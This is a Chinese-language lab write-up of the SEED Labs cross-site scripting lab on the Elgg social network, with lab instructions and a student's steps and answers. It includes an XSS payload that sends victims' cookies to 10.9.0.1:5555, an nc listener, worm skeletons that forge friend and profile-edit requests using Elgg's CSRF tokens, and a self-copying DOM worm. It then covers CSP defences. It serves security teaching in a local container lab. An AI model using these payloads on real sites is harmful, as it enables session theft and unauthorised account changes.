【Seed-Labs 2.0】Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)
Overview
跨站脚本 (XSS) 是网络应用程序中常见的一种漏洞。攻击者可利用该漏洞向受害者的网络浏览器注入恶意代码(如 JavaScript 程序)。利用这些恶意代码,攻击者可以窃取受害者的凭证,如会话 cookie。利用 XSS 漏洞可绕过浏览器为保护这些凭证而采用的访问控制策略(即同一来源策略)。
LabEnvironmentSetup
DNSSetup
我们为本实验室建立了几个网站。它们由容器 10.9.0.5 托管。我们需要将网络服务器的名称映射到该 IP 地址。请在 /etc/hosts 中添加以下条目。您需要使用 root 权限来修改此文件:
10.9.0.5 www.seed-server.com
10.9.0.5 www.example32a.com
10.9.0.5 www.example32b.com
10.9.0.5 www.example32c.com
10.9.0.5 www.example60.com
10.9.0.5 www.example70.com
Container Set up and Commands
下面是该容器中的一些常用命令。
$docker-composebuild #Buildthecontainerimage
$docker-composeup #Startthecontainer
$docker-composedown #Shutdownthecontainer
//Aliases fortheComposecommandsabove
$dcbuild #Aliasfor:docker-composebuild
$dcup #Aliasfor:docker-composeup
$dcdown #Aliasfor:docker-composedown
Elgg WebApplication
在本实验中,我们使用一个名为 Elgg 的开源网络应用程序。Elgg 是一个基于网络的社交网络应用程序。它已在提供的容器镜像中设置好;其 URL 为 http://www.seed-server.com。我们使用两个容器,一个运行网络服务器(10.9.0.5),另一个运行 MySQL 数据库(10.9.0.6)。这两个容器的 IP 地址被硬编码在配置的不同地方,所以请不要从 docker-compose.yml 文件中修改它们。
MySQL database. 容器通常是一次性的,因此一旦被销毁,容器内的所有数据都会丢失。在本实验室中,我们确实希望保留 MySQL 数据库中的数据,这样在关闭容器时就不会丢失我们的工作。为此,我们将主机上的 mysql 数据文件夹(在 Labsetup 中,它将在 MySQL 容器运行一次后创建)挂载到 MySQL 容器内的 /var/lib/mysql 文件夹。该文件夹是 MySQL 存储数据库的地方。因此,即使容器被毁,数据库中的数据仍会保留。如果确实想从一个干净的数据库开始,可以删除此文件夹:
$ sudo rm-rf mysql_data
User accounts. 我们在 Elgg 服务器上创建了几个用户账户,用户名和密码如下。
UserName | Password |
---|---|
admin | seedelgg |
alice | seedalice |
boby | seedboby |
charlie | seedcharlie |
samy | seedsamy |
LabTasks
当您复制和粘贴 PDF 文件中的代码时,引号(尤其是单引号)往往会变成另一种看起来相似的符号。它们会导致代码出错,因此请牢记这一点。出现这种情况时,请删除它们,然后手动输入这些符号。
Preparation: Getting Familiar with the “HTTP Header Live” tool
在本实验中,我们需要构建 HTTP 请求。要想知道 Elgg 中可接受的 HTTP 请求是什么样的,我们需要能够捕获并分析 HTTP 请求。为此,我们可以使用名为 “HTTP Header Live ”的 Firefox 附加组件。在开始本实验之前,你应该熟悉这个工具。指南部分(§ 5.1)将介绍如何使用该工具。
Task 1: Posting a Malicious Message to Display an Alert Window
此任务的目的是在您的 Elgg 配置文件中嵌入 JavaScript 程序,这样当其他用户查看您的配置文件时,JavaScript 程序将被执行并显示一个警报窗口。下面的 JavaScript 程序将显示一个警报窗口:
<script>alert(’XSS’);</script>
如果您在个人档案中嵌入上述 JavaScript 代码(例如在简要说明字段中),那么任何查看您个人档案的用户都会看到提示窗口。
在这种情况下,JavaScript 代码足够短,可以输入到简短描述字段中。如果想运行较长的 JavaScript,但又受限于在表单中键入的字符数,可以将 JavaScript 程序存储在一个独立文件中,以 .js 扩展名保存,然后使用
<script type="text/javascript"
src="http://www.example.com/myscripts.js">
</script>
在上例中,页面将从 http://www.example.com(可以是任何网络服务器)获取 JavaScript 程序。
操作过程:
任务:利用XSS攻击来显示一句恶意的话。
1.登录Boby账号,在其 profile 的 Brief descriptions 中输入弹窗提示代码 。
2.用Boby本人账号进入Boby主页即可看到弹窗。
3.用其他人的账号进入Boby主页也能看到弹窗
4.不登陆账号查看Boby主页也能看到弹窗。
Task 2: Posting a Malicious Message to Display Cookies
操作过程
任务:利用XSS攻击来显示访问的Cookies
1.登录Boby账号,在其 profile 的 Brief descriptions 中修改TASK1的代码。
2.用Boby本人的账号查看Boby的主页会显示其cookies的值。
3.不登录账号查看Boby的主页会显示其cookies的值。
4.用其他人的账号查看Boby的主页会显示其cookies的值。
Task 3: Stealing Cookies from the Victim’s Machine
在上一个任务中,攻击者编写的恶意 JavaScript 代码可以打印出用户的 cookie,但只有用户可以看到 cookie,攻击者看不到。在本任务中,攻击者希望 JavaScript 代码将 cookie 发送给自己。为此,恶意 JavaScript 代码需要向攻击者发送 HTTP 请求,并在请求中附加 Cookie。
我们可以让恶意 JavaScript 插入 标签,并将其 src 属性设置为攻击者的机器,从而实现这一目的。当 JavaScript 插入 img 标签时,浏览器会尝试从 src 字段中的 URL 加载图片;这样就会向攻击者的机器发送 HTTP GET 请求。下面给出的 JavaScript 会将 cookie 发送到攻击者机器(IP 地址为 10.9.0.1)的 5555 端口,攻击者的 TCP 服务器会监听同一端口。
<script>
document.write(’<img src=http://10.9.0.1:5555?c=’ + escape(document.cookie) + ’ >’);
</script>
攻击者常用的程序是 netcat(或 nc),如果使用“-l ”选项运行,它就会成为一个 TCP 服务器,在指定端口上监听连接。该服务器程序基本上是将客户端发送的内容打印出来,并将运行服务器的用户输入的内容发送给客户端。键入下面的命令,监听 5555 端口:
$ nc-lknv 5555
l 选项用于指定 nc 应侦听传入连接,而不是启动与远程主机的连接。-nv选项用于让nc提供更多冗余输出。k 选项表示当一个连接完成后,监听另一个连接。
操作过程
任务:利用XSS攻击偷取受害者的Cookie。
1.对本机的5555端口进行监听。
2.登录Boby账号,在其 profile 的 Brief descriptions 中修改TASK1的代码,令其将获得的cookie值发送到攻击者手上。
3.登录Boby 账号查看Boby主页时监听的结果。
4.未登录状态下查看Boby主页时监听的结果。
5.其他用户查看Boby主页时监听的结果。
Task 4: Becoming the Victim’s Friend
在本任务和下一个任务中,我们将执行类似于 2005 年 Samy 对 MySpace 所做的攻击(即 Samy 蠕虫)。我们将编写一个 XSS 蠕虫,将访问 Samy 页面的任何其他用户添加为 Samy 的好友。该蠕虫不会自我传播;在任务 6 中,我们将使其自我传播。
在这项任务中,我们需要编写一个恶意 JavaScript 程序,在没有攻击者干预的情况下,直接从受害者的浏览器伪造 HTTP 请求。攻击的目的是将 Samy 添加为受害者的好友。我们已经在 Elgg 服务器上创建了一个名为 Samy 的用户(用户名为 samy)。
要为受害者添加好友,我们首先要弄清楚合法用户如何在 Elgg 中添加好友。更具体地说,我们需要找出用户添加好友时发送到服务器的内容。Firefox 的 HTTP 检查工具可以帮助我们获取信息。它可以显示从浏览器发送的任何 HTTP 请求信息的内容。通过这些内容,我们可以确定请求中的所有参数。第 5 节提供了该工具的使用指南。
了解添加好友 HTTP 请求的外观后,我们就可以编写 JavaScript 程序来发送相同的 HTTP 请求。我们提供的 JavaScript 代码骨架有助于完成这项任务。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl=...; //FILL IN
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}
</script>
上述代码应放在 Samy 个人资料页面的 “关于我 ”字段中。该字段提供两种编辑模式: 编辑器模式(默认)和文本模式。编辑器模式会在输入的文本中添加额外的 HTML 代码,而文本模式不会。由于我们不希望在攻击代码中添加任何额外代码,因此在输入上述 JavaScript 代码之前,应启用文本模式。这可以通过点击 “关于我 ”文本字段右上角的 “编辑 HTML ”来实现。
Question
- Question1: 解释代码行 ① 和 ②,说明其作用
- Question2: 如果 Elgg 应用程序只为 “关于我 ”字段提供编辑器模式,即您无法切换到文本模式,您还能成功发起攻击吗?
操作过程
任务:利用XSS攻击让受害者自动添加用户Samy为好友。
1.登录Boby账号添加 Samy 为好友,操作后使用HTTP Header Live 抓取信息。
2.查看好友请求信息,可以得知 Samy的id为59.
3.结合题目提供的参考代码和抓取的请求信息,在Boby的profile中About me部分写入下面的代码后保存。
4.登录Boby账号,删除Samy好友后,查看Boby的主页,看到成功添加 Samy为好友。
5.登录Alice账号,查看Boby的主页后,看到已成功添加 Samy为好友。
问题解释
Q1: 解释脚本中的ts和token的作用
ts 和 token其实就是防御CSRF攻击的秘密令牌,在请求时会被发送到服务端进行校验,校验通过请求才有效。这里我们模拟发送添加好友请求自然也要在请求中附带这些令牌值。
Q2: 如果没有Edit HTML模式,只能用普通的Editor Mode,还能攻击成功吗?
不可以。因为它会在代码中添加各种标签并转义一些符号,如把<变成< 所以攻击不可能成功。下面是一个例子,展现了变换前后的代码
Task5:Modifying the Victim’s Profile
这项任务的目的是在受害者访问 Samy 的网页时修改受害者的个人资料。具体来说,就是修改受害者的 “关于我 ”字段。我们将编写一个 XSS 蠕虫来完成任务。该蠕虫不会自我传播;在任务 6 中,我们将使其自我传播。
与之前的任务类似,我们需要编写一个恶意 JavaScript 程序,在没有攻击者干预的情况下,直接从受害者的浏览器伪造 HTTP 请求。要修改个人资料,我们首先要找出合法用户是如何在 Elgg 中编辑或修改其个人资料的。更具体地说,我们需要弄清如何构造 HTTP POST 请求来修改用户配置文件。我们将使用 Firefox 的 HTTP in spection 工具。了解修改用户配置文件 HTTP POST 请求的结构后,我们就可以编写一个 JavaScript 程序来发送相同的 HTTP 请求。我们将提供一段 JavaScript 代码骨架,以帮助完成这项任务。
<scripttype="text/javascript">
window.onload=function(){
//JavaScriptcodetoaccessusername,userguid,TimeStamp__elgg_ts
//andSecurityToken__elgg_token
varuserName="&name="+elgg.session.user.name;
varguid="&guid="+elgg.session.user.guid;
varts="&__elgg_ts="+elgg.security.token.__elgg_ts;
vartoken="&__elgg_token="+elgg.security.token.__elgg_token;
//Constructthecontentofyoururl.
varcontent=...; //FILLIN
varsamyGuid=...; //FILLIN
varsendurl=...; //FILLIN
if(elgg.session.user.guid!=samyGuid)
{
//CreateandsendAjaxrequesttomodifyprofile
varAjax=null;
Ajax=newXMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
与任务 4 类似,上述代码应放在 Samy 个人档案页面的 “AboutMe ”字段中,在输入上述 JavaScript 代码之前,应启用文本模式。
- Question 3: Why do we need Line ? Remove this line ①, and repeat your attack. Report and explain your observation.
操作过程
任务:通过XSS修改别人主页的About me板块。
1.首先在Samy的主页修改一下About me然后保存的同时用插件捕捉抓包,找到包含About me内容的部分。
2.接口地址为:http://www.seed-server.com/action/profile/edit,请求方式 为POST
注:POST请求的重要字段:
- name:说明被修改的用户是谁
- description:说明修改
- about me 内容
- accesslevel[description]:说明修改权限
- guid:修改人的编号
3.参考题目给出的示例代码和我们抓取的信息在Samy的About me部分书写下面的代码。
4.登录Alice账号访问Samy主页后,发现Alice的主页内容已被篡改。
问题解答
Q3: Why do we need Line 14? Remove this line, and repeat your attack. Report and explain your observation.
移除if语句后,每当Samy保存个人资料并返回个人资料页面时,原本用于攻击的JavaScript 代码就会被执行,导致“关于我”部分被修改,原有的攻击脚本也随之消失,这样就无法继续对其他人进行攻击了。因此,必须保留if条件判断,确保只有当目标用户的guid与自己的不同时,才会执行修改操作。
Task 6: Writing a Self-Propagating XSS Worm
要成为真正的蠕虫病毒,恶意 JavaScript 程序必须能够自我传播。也就是说,每当一些人查看受感染的配置文件时,不仅他们的配置文件会被修改,蠕虫病毒也会传播到他们的配置文件中,进一步影响查看这些新感染配置文件的其他人。这样,查看受感染配置文件的人越多,蠕虫的传播速度就越快。这正是萨米蠕虫所使用的机制:在 2005 年 10 月 4 日发布后的短短 20 小时内,就有超过 100 万用户受到影响,使萨米蠕虫成为有史以来传播速度最快的病毒之一。能够实现这一目标的 JavaScript 代码被称为自传播跨站脚本蠕虫。在本任务中,您需要实现这样一种蠕虫,它不仅可以修改受害者的个人资料并将用户 “Samy ”添加为好友,还可以将蠕虫本身的副本添加到受害者的个人资料中,从而将受害者变成攻击者。
为了实现自我传播,当恶意 JavaScript 修改受害者的配置文件时,它应该将自己复制到受害者的配置文件中。有几种方法可以实现这一目的,我们将讨论两种常见的方法。
Link 如果使用 <script>
标记中的 src 属性来包含蠕虫,那么编写自传播蠕虫就会容易得多。我们在任务 1 中讨论过 src 属性,下面给出一个例子。蠕虫可以简单地将下面的 <script>
标记复制到受害者的配置文件中,从而用相同的蠕虫感染配置文件。
<script type="text/javascript" src="http://www.example.com/xss_worm.js">
</script>
DOM Approach: 如果整个 JavaScript 程序(即蠕虫)被嵌入到受感染的配置文件中,要将蠕虫传播到另一个配置文件,蠕虫代码可以使用 DOM API 从网页中获取自身的副本。下面是一个使用 DOM API 的示例。该代码获取自身的一个副本,并将其显示在一个警报窗口中:
<script id="worm">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
注意: 在本实验中,您可以尝试 Link 和 DOM 两种方法,但必须使用 DOM 方法,因为它更具挑战性,而且不依赖于外部 JavaScript 代码。 它更具挑战性,而且不依赖外部 JavaScript 代码。
操作步骤
任务:用两种方式实现自传播的XSS攻击(蠕虫病毒)
- 将脚本放在远端,在主页放入带src属性的script标签,这种方法简单,实现代码短
- 直接在主页放脚本,要处理修改的脚本和修改的内容功能一致的问题,相对比较复杂。
方法一:Link Approach
1.编写worm.js 蠕虫病毒程序。
2.查看配置文件找到 www.example60.com 的文件存储路径。
3.将编写的蠕虫病毒 worm.js 拷贝到该路径下。
docker cp worm.js 811ae36b9a0c:/var/www/csp
4.在Samy的主页中使用 src 属性链接到该蠕虫病毒
5.登录Alice 账号进入Samy主页后,发现自己的主页内容已被篡改。
方法二:DOM Approach
1.本方法不利用外部的js文件,直接在网页上撰写功能相同的脚本。在Samy的个人主页撰写下面的代码并保存。
2.登录Alice账号访问Samy的主页后发现主页内容已被篡改。
3.登录Boby账号访问Alice的主页发现Boby的主页也被篡改了,实现传染功能。
Task 7: Defeating XSS Attacks Using CSP
1.Describe and explain your observations when you visit these websites.
32a 所有都是OK
32b 只有from self 和 from www.example70.com 是 OK
32c 只有Inline: Nonce (111-111-111), From self, From www.example70.com 是 OK
2. Click the button in the web pages from all the three websites, describe and explain your observations.
32a 的按钮点击后出现弹窗,而32b和32c均没有出现。
这是因为在 apache_csp.conf 配置文件中设置了内容安全策略(CSP),这些策略限制了可以执行脚本的来源。
3. Change the server configuration on example32b (modify the Apache configuration), so Areas 5 and 6 display OK. Please include your modified configuration in the lab report.
查看配置文件,发现白名单中没有 example60.com,遂加上。
进入/etc/apache2/sites-available 下的apache_csp.conf修改,加上*.example60.com
重启apache2服务
刷新example32b.com,可以看到完成要求。
4. Change the server configuration on example32c (modify the PHP code), so Areas 1, 2, 4, 5, and 6 all display OK. Please include your modified configuration in the lab report.
查看配置文件phpindex.php 发现白名单中没有 example60.com 和 nonce-222-222-222,遂加上。
前往/var/www/csp 中修改 phpindex.php 。
重启 apache2 服务。
刷新网页,完成要求。
5. Please explain why CSP can help prevent Cross-Site Scripting attacks.
内容安全策略(CSP)通过设定一系列的限制,对网页可以加载的资源类型和来源进行了严格的规定,这包括但不限于JavaScript脚本、CSS样式表、图片等资源,以及它们可以被加载的URL。当一个网络应用实施了一套严格的CSP 策略后,即便是发现了XSS漏洞的攻击者,也将面临无法迫使用户的浏览器执行其注入的恶意脚本的困境。通常情况下,CSP仅允许执行那些附有正确nonce (一次性标识符)的脚本,而这个标识符是随机生成的,攻击者几乎不可能预测到正确的值,因此也就无法成功地将恶意脚本注入到用户的浏览器中执行。这种机制极大地增强了网页的安全性,防止了恶意脚本的执行,从而有效抵御了跨站脚本攻击。